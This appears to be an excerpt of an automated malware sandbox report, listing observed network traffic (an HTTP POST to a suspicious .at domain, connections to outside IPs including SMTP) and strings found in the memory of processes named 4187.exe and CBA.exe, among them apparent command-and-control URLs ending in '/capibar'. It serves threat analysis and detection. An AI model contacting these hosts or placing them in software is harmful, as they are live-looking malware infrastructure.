Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://amogohuigotuli.at/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 423Host: amogohuigotuli.at

Source: C:\Windows\explorer.exe	DNS query: name: bit.ly
Source: C:\Windows\explorer.exe	DNS query: name: bitly.com
Source: C:\Windows\explorer.exe	DNS query: name: bit.ly
Source: C:\Windows\explorer.exe	DNS query: name: bit.ly

Source: global traffic	TCP traffic: 192.168.2.5:49793 -> 185.7.214.171:8080
Source: global traffic	TCP traffic: 192.168.2.5:49846 -> 86.107.197.138:38133

Source: unknown

Network traffic detected: IP country count 12

Source: global traffic

TCP traffic: 192.168.2.5:49813 -> 40.93.207.1:25

Source: 4187.exe, 0000002A.00000002.596141885.0000000002726000.00000004.00000001.sdmp	String found in binary or memory: http://194.180.174.41/
Source: 4187.exe, 0000002A.00000002.553183370.0000000000AC8000.00000004.00000001.sdmp, 4187.exe, 0000002A.00000002.594868854.000000000271D000.00000004.00000001.sdmp	String found in binary or memory: http://194.180.174.41/capibar
Source: 4187.exe, 0000002A.00000002.594868854.000000000271D000.00000004.00000001.sdmp	String found in binary or memory: http://194.180.174.41/capibarC
Source: 4187.exe, 0000002A.00000002.553183370.0000000000AC8000.00000004.00000001.sdmp	String found in binary or memory: http://194.180.174.53/capibar
Source: 4187.exe, 0000002A.00000002.594868854.000000000271D000.00000004.00000001.sdmp	String found in binary or memory: http://194.180.174.53/capibar0
Source: 4187.exe, 0000002A.00000002.594868854.000000000271D000.00000004.00000001.sdmp	String found in binary or memory: http://194219.236.148/
Source: 4187.exe, 0000002A.00000002.596141885.0000000002726000.00000004.00000001.sdmp	String found in binary or memory: http://91.219.236.148/
Source: 4187.exe, 0000002A.00000002.553213817.0000000000ADD000.00000004.00000001.sdmp, 4187.exe, 0000002A.00000002.553183370.0000000000AC8000.00000004.00000001.sdmp, 4187.exe, 0000002A.00000002.594868854.000000000271D000.00000004.00000001.sdmp	String found in binary or memory: http://91.219.236.148/capibar
Source: 4187.exe, 0000002A.00000002.596141885.0000000002726000.00000004.00000001.sdmp	String found in binary or memory: http://91.219.236.148/capibarN
Source: 4187.exe, 0000002A.00000002.602443827.0000000002755000.00000004.00000001.sdmp	String found in binary or memory: http://91.219.236.148/capibarg
Source: 4187.exe, 0000002A.00000002.594868854.000000000271D000.00000004.00000001.sdmp	String found in binary or memory: http://91.219.236.148/capibarl
Source: 4187.exe, 0000002A.00000002.596141885.0000000002726000.00000004.00000001.sdmp	String found in binary or memory: http://91.219.236.18/3
Source: 4187.exe, 0000002A.00000002.553183370.0000000000AC8000.00000004.00000001.sdmp, 4187.exe, 0000002A.00000002.594868854.000000000271D000.00000004.00000001.sdmp	String found in binary or memory: http://91.219.236.18/capibar
Source: 4187.exe, 0000002A.00000002.594868854.000000000271D000.00000004.00000001.sdmp	String found in binary or memory: http://91.219.236.18/capibarl
Source: svchost.exe, 00000004.00000002.594562074.0000020254C62000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: svchost.exe, 00000004.00000002.594562074.0000020254C62000.00000004.00000001.sdmp	String found in binary or memory: http://crl.ver)
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultD
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: CBA.exe, 00000021.00000002.632885407.0000000003540000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp, CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10Response
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11Response
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12Response
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14Response
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15Response
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16Response
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17Response
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18Response
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Response
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp, CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Response
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20Response
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21Response
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Response
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp, CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp, CBA.exe, 00000021.00000002.632885407.0000000003540000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23Response
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24Response
Source: CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2Response
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3Response
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4Response
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5Response
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6Response
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7Response
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8Response
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9
Source: CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9Response
Source: svchost.exe, 00000007.00000002.305612043.000001A732013000.00000004.00000001.sdmp	String found in binary or memory: http://www.bingmapsportal.com
Source: svchost.exe, 00000005.00000002.538342411.00000175AA83E000.00000004.00000001.sdmp	String found in binary or memory: https://%s.dnet.xboxlive.com
Source: svchost.exe, 00000005.00000002.538342411.00000175AA83E000.00000004.00000001.sdmp	String found in binary or memory: https://%s.xboxlive.com
Source: svchost.exe, 00000005.00000002.538342411.00000175AA83E000.00000004.00000001.sdmp	String found in binary or memory: https://activity.windows.com
Source: CBA.exe, 00000013.00000002.408243360.0000000004121000.00000004.00000001.sdmp, CBA.exe, 00000021.00000000.402116569.0000000000402000.00000040.00000001.sdmp, CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: svchost.exe, 00000007.00000003.305173517.000001A732061000.00000004.00000001.sdmp	String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: svchost.exe, 00000005.00000002.538342411.00000175AA83E000.00000004.00000001.sdmp	String found in binary or memory: https://bn2.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 00000005.00000002.538342411.00000175AA83E000.00000004.00000001.sdmp	String found in binary or memory: https://co4-df.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 00000007.00000003.305193025.000001A73205A000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000007.00000003.305193025.000001A73205A000.00000004.00000001.sdmp, svchost.exe, 00000007.00000002.305687704.000001A73205C000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 00000007.00000003.305173517.000001A732061000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 00000007.00000002.305659800.000001A73203C000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 00000007.00000003.305193025.000001A73205A000.00000004.00000001.sdmp, svchost.exe, 00000007.00000002.305687704.000001A73205C000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Traffic/Incidents/
Source: svchost.exe, 00000007.00000003.305126285.000001A732068000.00000004.00000001.sdmp, svchost.exe, 00000007.00000002.305709993.000001A73206A000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Transit/Stops/
Source: svchost.exe, 00000007.00000003.305173517.000001A732061000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 00000007.00000003.305271038.000001A73204E000.00000004.00000001.sdmp, svchost.exe, 00000007.00000003.305161130.000001A732048000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=
